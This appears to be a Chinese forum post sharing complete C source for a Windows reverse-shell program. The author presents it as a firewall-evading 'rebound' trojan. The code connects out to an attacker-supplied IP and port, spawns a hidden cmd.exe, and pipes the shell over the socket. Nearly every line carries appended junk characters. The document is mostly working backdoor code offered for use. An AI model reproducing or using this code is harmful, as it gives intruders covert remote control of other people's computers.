这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 nT)vNWT=
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/* ============================== LXCx~;{\
Rebound port in Windows NT +W+|%qM,\
By wind,2006/7 {Hk}Kow
===============================*/ <\S:'g"(
#include
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#include >KKMcTOYY
!1b;F*H
#pragma comment(lib,"wsock32.lib") )WFr</z5bA
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void OutputShell(); 7>*vI7O0l
SOCKET sClient; Vf1^4t
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Dum9lj
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void main(int argc,char **argv) ?Ss!e$jf
{ yaV|AB$v
WSADATA stWsaData; {(?4!rh
int nRet; pmYHUj
#
SOCKADDR_IN stSaiClient,stSaiServer; SZCze"`[
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if(argc != 3) |sZHUf_
{ f|oh.z_R
printf("Useage:\n\rRebound DestIP DestPort\n"); f`66h M[
return; 9(<@O%YU
} Yu`~U,m
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WSAStartup(MAKEWORD(2,2),&stWsaData); Mrb)
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); _h1mF<\ X^
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stSaiClient.sin_family = AF_INET; G .4X'
stSaiClient.sin_port = htons(0); ]
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stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); |(^PS8wG
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) @`Su0W+.
{ r#mx~OVkk
printf("Bind Socket Failed!\n"); -`6+UkOV[x
return; P0jtp7)7
} Fv`,3aNB
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stSaiServer.sin_family = AF_INET; "tpSg
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); `5Zz5V
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); T^]}Oy@e,J
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) B4 }bVjs
{ hehFEyx
printf("Connect Error!"); [z9Z5sLO
return; '@P^0+B!(.
} KJZ4AWH`
OutputShell(); +m,yA mEEd
} 2^yU ~`#
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void OutputShell() ,~W|]/b<q
{ x'R`.
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char szBuff[1024]; Od)C&N=y
SECURITY_ATTRIBUTES stSecurityAttributes; 9(wK@
OSVERSIONINFO stOsversionInfo; Wo=jskBrQ
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; `Ryp% Bn
STARTUPINFO stStartupInfo; <1M-Ro?5k
char *szShell; Aq7osU1B
PROCESS_INFORMATION stProcessInformation; @7n"yp*"
unsigned long lBytesRead; j"Pv0tehw
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Jxm.cC5z.
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); D.XvG _
stSecurityAttributes.lpSecurityDescriptor = 0; $ L]lHji
stSecurityAttributes.bInheritHandle = TRUE; ~61v5@
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); $PHvA6D
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); .#pU=v#/[
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); $* Kvc$D
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; wLr_-vJ
stStartupInfo.wShowWindow = SW_HIDE; wq `Bd
stStartupInfo.hStdInput = hReadPipe; }RqK84K
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; >[*qf9$
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GetVersionEx(&stOsversionInfo); (Ep\Z 6*
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switch(stOsversionInfo.dwPlatformId) Ma"]PoP
{ #Mw8^FST
case 1: 2jhxQL
szShell = "command.com"; 1|wL\I
break; f&
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default: N] sAji*
szShell = "cmd.exe"; ?FcAXA/J{
break; icK/],
} "'\$
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); um0N)&iY
P";'jVcR
send(sClient,szMsg,77,0); 83q6Sv
while(1) ^y%T~dLkp'
{ n.0fVV-A
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ZJs$STJ*
if(lBytesRead) o"#\
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{ IO-Ow!
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); [ibu/W$
send(sClient,szBuff,lBytesRead,0); vRO
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} wAW5
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else @<&m|qtMsz
{ d/DB nZN
lBytesRead=recv(sClient,szBuff,1024,0); `W*U4?M
if(lBytesRead<=0) break; D}X\Ca"h
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 8-77d^cprR
} 'Qe;vZ31K
} @s2y~0}#
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return; :6\qpex
}